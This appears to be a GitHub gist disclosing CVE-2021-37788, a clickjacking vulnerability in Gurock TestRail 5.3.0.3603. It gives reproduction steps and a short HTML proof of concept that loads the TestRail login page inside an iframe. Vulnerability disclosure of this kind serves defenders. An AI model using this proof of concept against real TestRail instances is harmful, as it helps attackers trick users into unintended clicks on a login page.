Skip to content

Instantly share code, notes, and snippets.

@rvismit
Last active August 13, 2021 11:24
Show Gist options
  • Save rvismit/67bc11dd9ccb7423827564cb81d25740 to your computer and use it in GitHub Desktop.
Save rvismit/67bc11dd9ccb7423827564cb81d25740 to your computer and use it in GitHub Desktop.
CVE-2021-37788
Product : TestRail
CVE : CVE-2021-37788
Version : 5.3.0.3603
Vulnerability : Improper Restriction of Rendered UI Layers or Frames
Vulnerability Description : A vulnerability in the web UI of Gurock TestRail could allow an unauthenticated, remote attacker to affect the integrity of a device via a clickjacking attack. The vulnerability is due to insufficient input validation of iFrame data in HTTP requests that are sent to an affected application. An attacker could exploit this vulnerability by sending crafted HTTP packets with malicious iFrame data. A successful exploit could allow the attacker to perform a clickjacking attack where the user is tricked into clicking a malicious link.
#Steps to Reproduce
1). Create a html file with <anyname>
2). Put This code <iframe src="http://ip/index.php?/auth/login/l" height="550px" width="700px"></iframe>
3). Now save the file and launch on browser.
PoC:
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title>I Frame</title>
</head>
<body>
<h3>clickjacking vulnerability</h3>
<iframe src="http://ip/index.php?/auth/login/" height="550px" width="700px"></iframe>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment